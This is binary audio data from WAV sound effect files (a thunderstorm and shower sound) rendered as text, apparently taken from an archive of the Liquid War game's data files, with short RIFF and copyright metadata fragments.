|~|{}}|txyy}}t~||uz|yyuxppqvwzww{ur}z~wtuxw{~}x|}}|x}{xz}wuywy{xqnhnwufllkmovumtw{xzyxy{|yxwyx~xrqopqzzspjemr~uuslv|w{y~s~}x}{~}y~{y{uv}}yyyrhpy~yvu}vnpunmnssxsusv~~txwshkfcpqskqv}uxvost{w{ykq}snsvw~xkjxwuvy{}~}{wx}wzy}x~}{v}~}x~vwzvnmtnrlwrkrtzup{wnt}{vwpwsuvyvzjtz|y|}x}|}}~uvyyyw|{u~|z||{z~z|w}|{}~{ojiiicbfjajlou|xrz~~y{zs}suqnpqssooprrjronrr}zzz~uwvy~z~ywu|{||w{`e~myXz~}|zqrohlpbid`_^hhopur}|s{~v{y}ztywwwurkuop{|~|~ulzvcsssaisepstjmztpxqmpxyoxzw}~ttm}}r}v~|zy|z|x~}}zvw{~|}z~u~y}||~}{|z{vyq}{rr{vtrvtsrrttv~zwxxw}|xv}~yyz}~||{~zxqrtqs~r}wz}}}|tw~{}{wuz~t~~z|puyj{zw{ux~~|rva}z{tnjiSYaeb_e_`^nn~psnmhifcfdfhumu}{||zxzto|y{w}z{wtvry~x{{~~yzwxstzu~{~{|y{|opquvoymuresr}sxx|v~}}}}~{}x}|{|z||qxyuvzues|uvzqw||zz~zy}{{xvzw||{|{s{sp}yzsxx{~~}}}~}w{}|{{w{}u}ys~tv|}xy{z~{y~~v}z~x|xw{|}{}|x|}{|y~w~}~z|yz{p|zx~z|{v{}~}ywy~~wzux{z}t|~z~r{y~}yx}}{~~||{k~z||yy~{q~t{{z||y|}yxv~}|wuyspv{ps~wx~yv{u|~w~~|z}yv~{z{}~}|}|~~{|{~w}|}wuw~x}w|{y|}y~|}}{}|x|{v~x~}wvw{|j~u~x{|y~|}z}vwxzx|~}zzt{{}vswzsz||}}}yv{|z}~~z|}~}xz~|twrwrpy|tlov~vvwt}{}|~|x}zx{x{xxo||||zy{vuswosqv{{}z~~~{~{z{xtzyrtvxz}|t~~y}s~wyutx|zzxzvvp{xz~}ztvtxqzxroov{x{}{}}z~{wyztxu{wqsx{|msovxw~ruwrx~{||{}~}qrt}smunnjsrddomnryuiyw}~yy{|spvrpoolz{{vqtkmtsrwxs~}t|vlur}{~wz}x{zt~{{~zv|}z|wz}}}r}~z{t}xxszz}}|}xq~ywsuvsqsruyp|wmy}qrs}zwzsliuw~{ysvxyuzzyqnrqvu|yuyy{uz~w~}wx~||zz~w~w~xx{|{}|}zz{rlsuif^`_\b]\`[Z_b`\`jhfktrwxoy~~~}~~nwwrrsplopsmhquphpsxpt}urxw}zmlxz{voeirwrpvsnnmrlpyzuuz~w{~~|x{v{vron}|x}r}zvri`inpgiv~zqswy}}y}vrupwxz|onturxxp|tmtsvu~wywvp~wlmui]eghrlqtqpinorgkouyz}~}|||~~qirspXf_`d_TWWXT_dVbgpnpwxnxvutunjjgklneiokggipstejvupzwruy}yy|}wz|xx~|{y|x|{}{{t{{x}}~~w{}wpnipsqrpszzzin|{|~w~y|~}ukkpuvpqmounnnjsknnjlmw}}~ur|z~qzx{y|x~|vvwwt}vyms|}|oxt|v|u|}{}~~|s|ysqmqogplci]^jiosuoknjpfnmluptpz~~z{|{{}}vzwsunumt|}|w}ywvtx|ywtnuxu~yqqxuxzznqsxuzz}yytsneicegpgjp]PQSRQW_elpjs}~ud`^_hd\mjZiqgfkhc^ffcjokmivpwwtwnsieoqflcakdfnq|unx}~ytsovoiacfhj^bd]W]bkwmyyzigwt}ttszujwzyw{{zu}t}|z|x|uy{~rlozvyyvvpzy}x{zzluru}zlxqmlmlienml{x{wzv{yu|}}}z~zyz{{wsc^dW[WSSTag`delvmdrj{}q{~~}swtu|twxz}w~|~}~v~xrr}yx~xy}|~}tuuysltqwr}rmbsdjtm{{}vxtdg_dnjf_Yghhd_eyxwqxzu|rpw}meom^\f`bjdfdrtqgehkjulimoyz~~ŬyqtvjblmlabYVWTAHNHZb]hsrx}us~}~spro~y{zyx~jtrhelqil~xonpfgi\eheg_\Z]ZX^cjquy~|v|sxwysiuzvsjmoulroimuqnty~qmyqjhqkmtqkhgksiklks|uoyvztyyrtmuyw~|y|wx}yzknvwrz}nvrvnijjgirrurxzvpmus}zzjmqsity|z|w}v}~zz~|{|yvs}~~{lsoenw~~|t}{fu~vv{wwwvy{}z|yzxx~~{wxsyzw{~}zvz{|u~wr|ssz{oxognnvssz~~v~|vzvrdm`faXVLQILRLQ@GYaagopp}y}w{}}sggafng]`bRh`Z_aj`eeTb_`cptmlrwlju|{xtrz|ty~}vwoljsiiisagogX[gbek]fdahofhtr{z{~u{zvxwil`aemljsijfgosxrvprenkdleea_fmowqlvxwy~|}z}~zx|}{s~vy|~z|}t{xy|xy|~uxyuzxwwtqpw||~s}~{zy~||||wz}}{~q{{px~z{t}zz{yvwx|{xeqquwrx}vs~svujrp{~|~x|}lpvswruxxvutuurxtzlp}z|q~{vy}|{w}uxmvq~ulurvrrzuxyz|~vwy~{~||}~zyuxxrxrotupj^kqjhlqgmgoqtqnvt~vzopjojhjagp`bi^ac\_mkrorz}~|~|||}v}}xou~sr}st{~{xq|{~zvwurmmi_bcesztwvur|}wogcaZJMC39/5/,+-/31355>JHRZchqwûļ|ui^WZRHCGA<<81/2/)-2/7C9<8<@FDIUWRMPUjkpwsý}xrwm_[ONORBBINJFTMKLN[GSYadghipjkohrw}|{}~mii]^]\VNRMPC>BBCMFGFHFLWR_jimrz}pwtt~xpssvliywwvru~{|ù}{plhg]\NONJMMHLCINDKOPLSU[eklut~|zxjd\^e[UZRPYNMGSSLIHYLPWY_[\Y^onrp|}|rvx{xvz~v~|slirmsolfndglimjtrtv}}}wwwsgqh`b[S]Q\]YeYVSRSKLJE@COY\nohgorr}~pli[MBLB:A55,&/(.),+57=ADMSboou~ɻxpebSKKQD>F4=;494:7/39<5AGCDDKIHQS]hceljxqz}~ztjplg__[VWZWQR[VX_YYUY\Ygyjknx{tz|~ws{xlgedXa_[eemeebena_\f^_YUYTfgerrx|pzvrzorxy}zqppjblidinibU^imr}qy{~v|wutqpnfszhgtrkc]`a_g_V[bYT]aYbmkx|owglowrssae[U\_YVPZ]UWbfkefngsuuyw|}|uy~wwz{|yxntotlfcffabWhkWcdaTZUQX^XZ[VgZ`_cnvqedk`ekhomgenf_noum}~zz~~}tq{xzuyz|{{}}|{irleekhehdhmhdgnec^ckekchiffdefjxxx~w|vywphckjc_deef]fhlqnhhnnhnpv|zz}{t{{tvq|y~~~wxrkx~v}~{~{z||~{zy{s|zywu}~v{ssuy{zz|r}}uq{x{~|{}|}tszwkdddc^V\[hfopnqrszzxqzy~}z~zxrpywytonltuwpsxjpty~~~q~nwqrquz}mqtx~wtwy{|{w}twytrrupsjouq{}{ztqxwsmzy|sy{}|{yzxtx{|vs{zpyw|w~{}~}x~}xlhmhjkh`ddZ`ffcghjsooy|w~|vbtz~qwxqrrmcrtsr`lalwgod^mobW_errdepqxxpzt~s|v{owoiypzqnly{kyqqonxtwyt{vwqx|z}xz}~|z~~z~tk{tuulwumtvpwvmkusimoosmqoluzty}~~{ytpqxyystvu|v~}z~t{lrtopjsplqsbifhggfjheajciklvy{{|~y|xttjgphfac_df\adib`^dijfgfnoqy~wx~~}~z~nepkhhe_^VGC;NGETJFDKKO[TW]coekmq~y~¹zpoficdb^\Z`c\VUSYac_]]Z]W[ddgb_]ed_hombgs{entjotyy}{}}}xyuwlhqmihimmnnpuqvqhqu||v~{~~wvrkvptvv{|smplklijnoou|wuw|szpv{~|r|ux{z|}|}yvrrnben`WZV^\YSTWUZ^V[]bjpgsstz~|~ty|ywvzxzrnzt|ut{w||~}z}}~y~|vww{oqpmjgrtonorpokn{su|uw}}}w|~~}ysx|wstuvurzusjqnssmplntprrijotsxzvyz~|xv{}y~~{qmpcjf]XUTZ\UUWUQV]^_cadfioq{{~zvyr~|wrwprppmmmjkcgeemninmrnokkpopmuzsqoqupv}~|yymcmqrlfkmoskgclmdcdif^bcbcd`mlcinkosqyy~~{~}{{{zsv~wy||ywuxxvvv{zr{~~vv{|ttyzwxwx~~u|{wty{{|{{}||}vxvs{v}}{w}~}}}w{ywuuprrqtvu|}v|{~~~~{~|v~~~~}vt|~~~~|~||~}|{wyuzwsrtuuxs{zvyz|x~{y~~|||~zzx{}|~}~}{}{y{}~|zy|}|{xs|}zwttxsuruvusorrwxz{zw}yzz||~~w}}zxz~zx}~|}y|z|}~zzz{{}~}|y~~|~}~~{}z~~~|~{||x{}~~{wy{zyz~x}ywy}zy{~|z}~~}~{xzxwytwxw}{v{zy}~~y|x|vwy{vwrrxwxw{|y{y{ww~z||~}~~xzzw{~}z|{{}~~|y|}{zxz|}~~~}}|{|}~zv|{}~|z}~|~~zw{zyxwy}~|vxy|{z|y{y}}{y{yyy}}y{}|{zy{|xyyz{{|xx|{{~z|~}}}||~}{}|~{}||yy}{|zxxy|~}}~~|}~{{zzvyzyyzrsvw{wvywtqqsturt{yvyx}}|~~~|}~}|}~~}}~|{{z||||y|{yyux{vurtvvz|vy|yz}y~}}|}z}}|y{||~|{}|zx|yvvzuusssnoppkkmnopljomkijnkjlnprtsvyzxyyy~}wyywyvqrspopponjkkiiellklhjqy{rxvw|~}}}}xwxyxwxwvxxtvyxz{zy}~x~~}}~~{}{z|}}{~~~~{|}||~~~~~|~||}|}|~}xxxywwwwxxuxwwsuwxzyxyx{~z}|~~~{|||}~}|}}~~|~~}~}|}|~~~|~|}~~~~~}}}~~}~||~}{}|{}~~~}}}~~}~~~~~~~~}~~~~~~||~~}~}|}}~~~~~~{||~~}{|}ywy{{zx{|{|{yz{~~}}}~~~|}~}~}|}~~|~~~~~~~~}~}{}~~}|}~}||~|{}~}~~}~~~}~}}}}||}~|~{}~}}~|}~~~~~~~~~}|~}~~||}}}~}~~~~}~~~}~~}}}|~|}}~}~}zy|}z|}|||{~|~~~}}}~}}~}~~|}}}}}|{|}}}}~}}~~~~~~~~}}~~~~~~~~~~}~~~~~}}~}~~~}}~~~}}~}}~~}}~~}~~}~}}~~~~~~~~~~~~~~}}~~~~~~~~~}~~~~~}}~~}~~~~~~~~~~~~~}~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~DISPl( wwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww{wwwwwwwwwwwwwww{wwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww{wwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww{wwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww{wwwwwwwwwwwwwwwwwwwwwwwwww{wwwwwwwwwwwwwwwwwwwwwwwwwww{wwwwwwwpwwwwwwwwwwwwpwwwpwwwwwwpwwwpwwwpwwwwwwwwwwwwpwwwwwwwwwwwwwwwwpwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwDISPThunder storm in forestLISThINFOISBJ\Nature in action 1993 Interactive Publishing Corporation. All rights reserved.liquidwar-5.6.5/data/water/shower1.wav0000664000372000037200000015523613407756104017317 0ustar travistravisRIFFWAVEfmt ++dataU~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~}~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~}~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~}~~~~~~~~~~~~~~~~~~~~~~~~~}~~~~~}~~}~~}~~~~~~~~~~~}}~~~~~~~~~~~~~~~~~~~}}~}~}~~~~}~~}~~~~~~~~}~}~}~~~~~~~}~~}~~~~~~~~~~~~~}~~~~~~~~}~}~~}~~~}~~~~~}~~~~}~~~~}~~~~~~~}~~~~}}~~~~~}~}~~~~~~~~~~~~}}~}}~}~~~}}}~~~~~}~~~~~~~~~~~}~~~~~~~~~~}~~~~~~~~~}~~~~~~~}~|~}}~~}~}~|}|}~}~~}}}~}}~~~~~~~~~~~~~~~|}~}}~}~~~~~~~~}~}~|~|~}~~}~~~~}~}~}~~~~~}~~~}~~}~~}}~~~~}|~}}~~~~~~~}~~}}~~~~~~~~}}~~~~~~~~~~}~~|}~|~~}~}}~~}~~~}}~~~~|~}}~~|}~~~~}~~~}~~||}}}~~~~}~|}~}~}~}}}|~~~}}|}~~}}~}~~}}~}~~~~~~~~~}~}}~}|}~~}~~}}~}}}}~~~~|~~~~}~|~|~~|}~~}}~}~}~~~}}}}}}~~}{|~|~~~}~~~~~~}}~|~}}}~}~~~~~~|~~~~}}~~}~|}~~}}}|~|~}|~~~~}}~~~||~}}}~}}~~}}~|~~~~{~~~~~}}}~|{}}}}~~}~~~}~~}~~~}}~~~~~~}~}}~~~~}|~}|~||~}}~|}~~}||}~}~~}~~~~~~}|~~}|~}|}~~|{~{|}~~~~~~~~~~}~~}~~|}}~~}}~}}|{~}}}~}}~}}}~}}~~~~}~}}}|}~~}~~|}~}}|~}}~}}~~}|~||~}}~}~~~~~~~~}~~~~~~~~~}~~~}}|~~}~~|}}}~~||}~{|~|~~~~~~~~~~}{}~~}|~}}~~~~~~}}~}|}}~|~}~~|}~~~~~}~~~}~~{~~~~|}~~}}~{}~~}}~~~}{}~~}}~~}{~~~}~~|}~|}{|}{{}~~~}}~}~}~~~~~|}~~~~~}}}|~~~~~}~}~~~~~~}}}|}}|z}~zz|~{{}}|{~||~~|~}|~~~}~~~|~}{}|y~~}||}}}{{|||}~}{}~~~}}~}|~|z{~}{||}}~}}~~}}~|~~}{~}|}}}}~}|~}}~{~~|}~}}||zy||xy~}}}|~~}}}~~~}~}{~~}|{}}|}~~~~~}~~~}~|{{}{{~~}|{~{}~}}}~}}|||~~|{{y|~||~}}}~||~}~}|~~~}}}~~|{}~}|}|{{}~~|}}}{|}~|~~}|~|}~||~}~~}~}}}~~~}{|~~|~~}~}~}}|{}}~~|}{|~}~|}~~}~~~||}|}}~|~~}~|}~~}~~|{}||}}||~}|}|{~}~~}~~~~|}~~~{|||}}|}}{{~}|{{}|~~}|~~}}}~~||{z}~~~~~~~}~}~~}~~||~}}}||}||~~}||~~{|}~~~}}~~||~~{{}}}~}|~|~~~~}~}|~}{||~~|}|{}|}|~~~|z}}|~~}|}~}|~}}}~~|}}~|~~}|zzz}~}}|}~}~}}}}~|~}}|~zz~~|}~|}~~~}~~|~}}{}}||~~~}~{{}}}{|{z~~z}|||{~~~~~~}~|}|~}|~|~}~~~~~~}}~}}|~~}}|~~}}}}}~|}{z{~~~}}||}|~~}|~~{~}}}~}|~||}}|{{}~{|~}}}{}~~~}~}~~~}}}~}~~~~~~}}}z~{|}}z{|~|~}}|~~~|}~~~~~~|~}~~}{~~~~|}~}~~~}}~|~{z{{|}~y|~~}~|}}|~|}~}}|{|~|}~}~}~~~~~~~~z~}~||}~|zz~}~~}}}}}|}~~~|}|~~}|}{}{y|{}~}}~}~{{~~}z|~||~}}~{||||}{{~~~~~}}}}z~}|}|}~}}~~}}||~~z|}{y|z}}yz|||~~}|~|z}y|~~~~}}}zz}~y|~}}|}}|}}x{|}yy{~{{{}|{|~~{~~~}||~|~}~}~~~~|}}|}~}~~~~{|~zx|}{{}~}{}|{z|}|{~||}|~|}}}~~{{}~{z||{|yz~z{}}||{{~}}{{y||~}}}}}~}}|||~|}|}|zz}z{z}}~~||~{}~{z{~~|||~||}}||}{zy||~|~}}|~|x{{}~}~}}~~|||}{||y{}{~{{|x}}~~{~}z~x|~z{zz}||}zz~~~|~~}~}~}{~~zx~~|~~|~~}{zzzz|z}}y||x||{y{{{|z{z~~}|~|z}|~~}yz}}}}}|}}~{}zy~~}{{x~{}~{~~{x~|z|||}}|z~~}}}y{}zz}|~||~||{|yx||zy|}{~~{y{|}{{~}{~||}}}|}}|z{|{|~}~}{}~z||z~}|~}{z}}wx{}{~z{~}zz~}||}~z~{~~zy{}}{y}z~~}||}{|~{{w}~zy}|{}~~||}~}}}~|}{~}~}|{~z~||}|z}}}zz}{x|zy}{x~~{|}}}~~|z}}|{z{|~~~{}~}|~|{{|}}|}~||{}}z|~xw~z{|{{{z||||~|{~}zy|}||~}~}{|{y|}y|{|}|xz}z||uu|~zx|y|~y}w{~vx}z|{||{}|~~|w{}}}z}tssyzzwtuuwyx|zzx|{{}}x~z~}x~|{tv|wx{z~}wwzx|t{zutxxuytu||~zy~}y~}|{yw{zz{|y~zw~x}~~y}x|wv|zuuz|}yw~z|t{~v}~|{sv|w|}|}}{|~y}zz{~x{~{xpx~{{vpppws|y}}y{~{z{uuw~w{ux~yursz|vzzyv|u}yy{vwzx|z{y{}{on{xztw9{MT}^JKYhRJdE_L{JPTY~~XLr\`zMTN]K]__bqY\P^UU{TmDTDbVXyQEM_LsXNDR]kz`|mZ]\ulw]ccgpZ@}Tm[yhnYejv`Or_VvTtj\qknghcwcOWlvmuTmikXyU_mgqa~T`b\vo|Rdp~bydot~~pb[uhnqsHl_tbij^{uVf\X[|Z~QirhqxveelToR~b`|faTezgawOZjnsvZ|Z}mDtyzoidJ}eDUsrYa8wpaogoyrusop_8a[ZV_[~oiqrucmohU{TUZ|ncpxvtZm`iLxBllY5rhMmX]ljgiskoc}r|seVCKRchzmv~dtYSv{\]ylf}W`Paqpl}ggzrx|cYbr}aim{yxb\qtqsnYCRQsVs}n_x{{trrIlQ_tfwSydtrutf?{GWZ_]`u{k}\ralgzNRlNVtwiYivr[i_~thrkwep^kQ[omutlx^{dp^kw^ZZosnmo}c[cvqVj~IhYdkxdma`\cxqgp}qvurmjLwa_eG~didwb\Ruhyflr^sicvzhwqpdqzmlrbl}|l}war|eFUKhn\za~w~ilfo{wsxZvmS}yyrv]ea~Zkqa[Yvay{z|oQYhrxwfuajwcokwr|UjTdgxfkyrIX\lahwktojn_fnuKhmtxZmwpsyJq~tzs{ovdspQ\L]fhglygbn|_gQhcNWb]qcm|rifjh]}Lzjn[opjevrle{wpqJK^z\Zpp~m[LnLqvKy{esvL\7\jt^|Vg\frxHKa\YZldufLd]||eMbTvEzkvnhwMs>P`nopwhoh{^qwShyikn^hwdsX~[|UOpUx]\VxdCoYYkpYr|_W|Hfj|fTExcCrQgnf]zwo{iuq~_|NoFxzvjwvt|vzkflU[icL~mh_cwoUaTLHmpk|_xwaynzj`w}lqjWky}yqYS\O{ct|xr^zo_~xY_Xtmm}wwkIrx^mjh[sxrVv\dcqoBawzXx}{}qs}e}S_zFxWiyczb}dxfcqu_pynktm[ip|oUugVgup{yO~ukjh_roc}qm|xezonkvhazrvyZmv^Yojmif]xk~qyphxVd_z{qqzvvwoju[VgjmqlkDrh{mtzhsvgq_RphenmgwYsSh|~zyuoz]\JmjVh`zoseoe`\ThanptlwujjyyvhnZri_QcWmxsb{wwdevzz}ZXrqdrru|sng|}pf|etqX|ri{pluyf{dmvypgqz]nuQzjt|lp\{]vyfuyan{ejfnpmYqp~~xs|fuur{}sgl~gonddcvy~w}uwpsv`}nixnozm\RgZk`ko~z}ufFSs\]aqrm|mu|uywm{~|wzs}kqpvgz}rw_epfwSZn]~fy{~usx|nowx~q|wvkb[nspkizhj{tj~h}Yoix~xyll|s~}~|xyVinwtyw~zZ|igpfZqm|ojdyov|yzt|zjn_s`kc{nvum}|cxmytr~mnw`spjxyxhlixzqq{qggcvm||rqn}{wu|~zy|I~XUdke{pyrxb}}zd]rmhn\me|wxrZsyfoc|vt}gj~gz}xxy~lb_op|rtp~}sqc[to~wofl|z|u{|vyzcpowpn`y|_liv|rxqr~evzpmqms{zq}}}r|mty}}x]w\ez~nq}weyqttxtsn|y{yow]u|luyxlsqj_zqrkhgyYpqqo|~|ipkzsmpkljs{qp{~vqr{jdhnrfv}}youpt}t|yhlpusup|~~{ewn]tzo^r~l}{zzui|pqz}}fg~NJvyfV_o}]y|y~zszvs|nUg|mjdjvq[imxwvvehjr^o}y^eysrwiociflrtoqm}fggtednssoi^~Rttmp~qZiz{vZbkxhf|zmuo{}wc^h}d}tzjaZSxw{wo|~~{qo~bzcbrt~Wyvd}v\~{ouls|v{l|~t~abpnokzjlBXbupdzjzp~jm}fcl{huvtoombtsp}tqpz]cqvrmzw~qnu|k\mkta|}ytzxaZuee{ejtmpetqyxt~xwivkpYibu[~`vsy|qz}zrwv}rpdojpmt{xsxiwkn}rw~go~tn}wuyyv~qvy|xr`kp~x~l{}zat{b{elwqbsp|qp`ov~shsn~kvt|notvkjh}kjiz}uo}dzyvtzrwxymwtz[Nwhvz~wSwXgrhgdWj{o|Xbcnlowq~vu}knUqxmxtzu{vpqkqyyzvi}b^xmq\_}vyxnnmy{ue{~xx`_moq}lwzw}mkhtrm]bxlvvu}{~|whln_|su{xj||pvyqrzdKkYgnyzxuitlnw|~y`|ayfydhtxb~vw}hruqoggjnvv}xv|ouvxmy~{_pypimWto~{vt{w~|f{zu]qtt|tjfiz{gmiw~{p{|xp{ujwlkqxxwddtpffdAQ]}{u`i_Fwenzsmc[ZyptWMozz|zm{flombXf}v|}k|j{gjkruzwlwlmv{qf~bj_ceyy}tsjnrokpjrixWM|y~fwm|Uvbnzd_lonxux`^U}g|tdy}}{|mPyfq}nrntrfxjyhquqv_yumottMsu[h~qvm~ok_hreum|w~clyurspxyw~^}ojZx_iu{~vywnyrny{vvydg|lyirp{fl~~Ywirkcjlptwxrhr~}gc}pxz|vkbl^T{|w~{q|rsuf}pqf~zp{mm_krZrXqoz{o_ujus~s~v`spn{poqlyp|{pv}ta}s_^n[xdf\q}~y}xxhkmxjrv|vto`hiaju~{owwxudsdstkxw~w{~liqhzuvrloh^itv{}wx|qnv|}xq{whcvqib~vuh{vinmloe|puzuzjlorlfqiixvmyzyskum|pnwc|opizo|t{htVhn\]gfclv|yot~~~~psytd`yqwsz{uwxbsbmgijlxrl_sqka||}tyzuwcnlru__`nTedzzkzp||qp~|xw|uoqopx{}rdq}}w}{}yoesqysivnujkl~p|qa~llzx{rmwpr|dmbg_bbgwzxzz[vwn~rryu|rq^rw]wi}b|}v~x{rpn{rvyw}y|}uylwvxh}mxokpUr}yjov}~ol}nstwr~bpyngjtvn|ltj`t{z\Dbuot~v|lph{|u{menw|rS{\cpovyznrlo}pzn{~|zk|ngcxub`qfunyzww~q{o}inru~~xk~sk|iuh~ds|vsnpuwzsmryuht~fwozxdhwwtzjuhpujz{{unuzx{f|umd~{x}jx}[trswmnk`who{wvtumkpnvsnqwz|jzrrtdrgoqc{rzy}r{{lwzvvmt|sprpztywlqnq|flzxqjiuvq|qitpxhj|d]luzv~wt|xfy{onqjsfnot~nnwxky}pmihqtoftwe}||rm{ix|{wosl{u~t}~j{wh~qxuirqz~khysywrxwtspyr~t|}pZq{pqrjqdn|uvrzfb}nunryuvq}i`lhfytkvt~~vmlx[~tn~s{mpztswqw||jq\ctsz{kjkyfv|~u||yn{zg^eoyqUwfthttehac{szwrs~i|pstqp{mzspdq}ivozbT_cjvnomWy}lw{w^{}pxw}}whe|zqVue\{|wypby{y~uklzuy~t|{uinr{wt{yqpriqqpjjpjk}velb}jkgl|\ywosne|cputv}pw`hfwlm}svkvpx~hs}|qrq{tJ{rt]xvvs]vizxvrmuki}vlvqzpoqhk]ro}yr|||vgZbqjwq|z~ms}t}oxznza{]jh`rqulqw|e}s~pZpxpy|~}q~}{rZtiv`opmqk|wc|vqqwngdm}y}wimx|nuqivZsxgptu{tamly~~pt^||ldwsfus|abttwdqyxv^omvyihwznabJgxl|qf{~zw~dwq{|nkc}tgsl_pntdz|m{a}f|urqzq{mjzr~ynatpv{sxuwvybneyQm`dfvr{z|xzyqupxxrmdlwo{uZkepsqnsv}zcqzx~erlj|s~tvhdyywcula}ltinnzyrepegYjxrkk|x{zOy]Vxiwu~w|{|wk\{m{{m{k[zr|}mWyegsrgoxtp|h{usywxvyowvttwq~wrwhv}cd{lvgensooywxT~p}v{woz]~y|bmYxfltxlgysyoky}m}kzq}qfzunjh[t}vwvzk|xy{{}|z|xy|{sl|njc|{ynxjs]Trp[`M}sovgldtwsh}|urohgp~yrpht}yjktzzpwy}z}tizUnwgp~tsjWstlow~gii~uevykwxvwtVlke|{ntnu[i|~yy^nuseremdj~xym~vpwoi{ws~{pnpf\kzqouwitu}_{iq~ps||kuqpl~tkzum{~uyxwnvd~mw]}r~yyxkzixx}w{wt~jqovt|ursxosc}~t|uwyfh}ku_p{~mzw|xf~oh~|{pxrylfqrymnyuxlkmwomrojlhux~{~_pstquwx|kjcplv~on|yhvtmpz||~sj}Xiia}yxxihpz~twt{|golixxt}t|myic{n]{gto|{{pb{}Y^}n}|nt{{ovwnssrza]lhtsyy_mxdisml}xmnyvyc{knknlc_vasUz}}z}nvpn}pn~~slio~xbxnithvwr|oxtsy||pxdg}msti}kccvWogsovw~w}zypfbiXluh}x~{sc}rYe\{fnzruwyow~_~fixZnZnd{}urdknky|huys~tk|puphx~owmwr~k}x{}}wlbnpx{wsx|Wnp\~xv{{{_ysexv~tmc`kiyvp~ryd{wko{oy|Qnnv~uyyylt{{ol^t~ui~xyyk|bX`lfinptyq\z}viyd|nxpvnp[mvtmulrm>mvmthugnq|rjkivyyxsynfy~ezfas]jsajxzp|wx{ulw_tvk{qrm_v{u~yt{}PmcU^mpvopjji^~y]kyssjswtxhm~hsnzr}wnyq}}xsuzoz}moz}ywbd\~qus}}ry~}m~d|hthxxzlwpaUtL|ei~|nzwttuuuxec{laoMruqnXquerctnqq}|nu{ng|~uyuzf|msSr}qvhs}~}{s|pli{|trrot}lxykip}vmtss{|{g~fSyx{}znis|uRirfiq[ITutW`ns{nw~xo}t~yxzjjxjv[vz|Nqlrpnuqxzryaylnsiryqs\sY{|Xweowy|}~hlgu{zyqpyvfcsqpvniraQdplrcjrkj~biqgzqisttpvzploi}nw{mguftzonc|pjk}{pm~uvzusnkso`xhnfmzi}qmk}qmuzfpu|nxmwkyyutqv}~_vu~vkcsylnrxzsh~rzv~zjmqmglwuYhmirno~~v|l|~tmiwelku|j~wvmxbzy{krkvos_~en{ztywQes{vwtn}ucqsjrr{l{v{ej~{oz}r}y~c|gwjanv]spodn_jlXwco^tjrvvwedfgSk|^{us|ci}Ukeemu|^auiua~rwrdwji`oss~rrmqjwmc`y}~{i}ti_wtylul|guhyrpsqt{wipqhhYeq{p{\svwggru}itcroomt`|nwu]x~irzrfxjo^gupj{oymlyr]Upp|gnyoz}k{uvyphpf}}cwyxnyz{sigbtdj`oV|z}nw|ypmdhwhl{gmgsyyzwy{Zysymkdq}p\yz~mlucrqnvrsbmtmzp~~XzyWqo`txyw}nv}|vltngTlp~rqll}qz}x{{yovtqsr{Q}nbly{zvc{aws`|yu}}upolfrzyyp{uuuvbytw{~yvofbuw]fvzr{}o[z~sf~zcaq`pn~rs~tx}bkgym_{yovuoyjphyfjifx`qiSq|wiM{qj[zm}znUipuwflvjlyioqsrtwu}jrl|ey{rutvyqW}rskpi\im{z{mw]MtyktUrY}~ZkWvX`E|lvXcgfv{Xpu[lku]_llikdXw}|ofcb~hi}~j[tovszfv}gn}}|oymLxZVjRo}tlzkzuaZwlxt{qxpyktjvn`x~oZli{knvwhjngvwzFTxzxarnu~|utfzm`Y]kj|uuwbozcgRyrj~oy~jfyyfd|Yj|rt}nymlunsoVxyilzsxtw_uilr`jvbxt|uw^p{t}zv{by{|s~qvz}wxitbzymi{||[~]myujwfuw|zrXiil{~}qss{tnz|x|}{lmdvtwvvmcf~w}vhvevq|w{wstugrhp}x{svhfkqozgi~oow{|pqf||stkenl}qr{vz{|vw{z}gX{ztx~vo`Yqvixqs}xwbq_g{|\kszyvs|}ly]Xbak}~sxzv}~~mu{~tqKjn^^}p{p|kykrnktvksyw~wwc{c{^p}obk~mzw}qqjyd[nymtw~zy|xwrwysitvc]jh{}tjp|{z~ojrPRWuxNxpm~jjv\pmvb~seZxsn||telyZT}Pnwn~hbya{^ucvsxwsp|_avlvuqk~yyrz{ylo{||sus|oqg`vhl_p~ny\efqfs|qr|o~`evv_Wliryoyqnkktr{kgxvvuj}~~t{vtrdqp^khghn~bf~uqmct^bnufoh|{ojduznwa{joo{q_sv|rzWfipyxuroimo`disxku_xmev~atkfwxv]dwwn~wzq~vej|xqpbma||t`}Mrczm~~x~vyqsjxqe~v^v~welxnszw}wq}i_rzh~zy}Zv|host{wwr~gpvtyeswvsvU~w|v~vnm`vqvjjqkositt]zyqp^{w~lr~t|vbsvunxbb^wv|~zbtw{empddklznwvu~r~u|xvziyx\im~pmr|v}mqy{z{zxgk||ywl`odgkt{owo}lwzyv~xe_uqkmn^swmx}e\jq\eWdeg}uwaz}evVeuwst}|}sg{Xxwczy|}fgrsys^myvxiuvq{urbfz~pldqdwtrozxjq{{ty}jsyk~nq}v~wq^{{rm`~r}}}xq~hvnh`nsheu_j|sv|z]~mj_etls|nww{}bsayo|b{leufii[jXzhmxxMvf}xxmn|sQoyq|x}{s~`q}zswehgk{wxuxwxomnloph|s|x|v|UmphW[og}n~|~zx~~}qveko}gfsxL`hniz\{dxtt}q|xly|j}}_~lksplvw{sz~yottijmhixax~{}ydMmOqzvp}{cktmyo\tul|w|yr}wesm]|qrvvz{rsjyzwasiYf{|mzankuoap~`u|mujzxochrhiqydnbrpunwuksun~]jfxw